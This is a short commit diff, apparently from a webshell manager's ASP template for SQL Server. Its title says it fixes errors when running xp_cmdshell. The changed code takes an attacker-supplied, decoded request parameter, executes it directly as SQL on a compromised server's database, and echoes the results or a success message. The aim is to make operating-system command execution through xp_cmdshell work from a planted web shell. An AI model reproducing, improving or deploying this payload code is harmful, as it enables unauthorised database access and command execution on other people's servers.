解决ASP连SQLSERVER执行xp_cmdshell爆"驱动程序不支持所需的属性的"问题

source/core/asp/template/database/sqlserver.js

@@ -99,14 +99,16 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
         Response.Write HD&Err.Description&CO&RN:
         Err.Clear:
       Else:
-        Set Rs=CreateObject("Adodb.Recordset"):
-        Rs.open ""&bd(Request("${arg2}"))&"",Conn,1,1:
+        Set Rs=Conn.Execute(""&bd(Request("${arg2}"))&""):
         If Err Then:
           Response.Write HD&Err.Number&":"&Err.Description&CO&RN:
           Err.Clear:
         Else:
           Dim FN:
           FN=Rs.Fields.Count-1:
+          If FN=-1 Then:
+            Response.Write HD&"Execute Successfully!"&CO&RN:
+          Else:
             For n=0 To FN:
               Response.Write Rs.Fields.Item(n).Name&CO:
             Next:
@@ -120,6 +122,7 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
               Rs.MoveNext:
             Loop:
           End If:
+        End If:
         Set Rs=Nothing:
         Conn.Close:
       End If: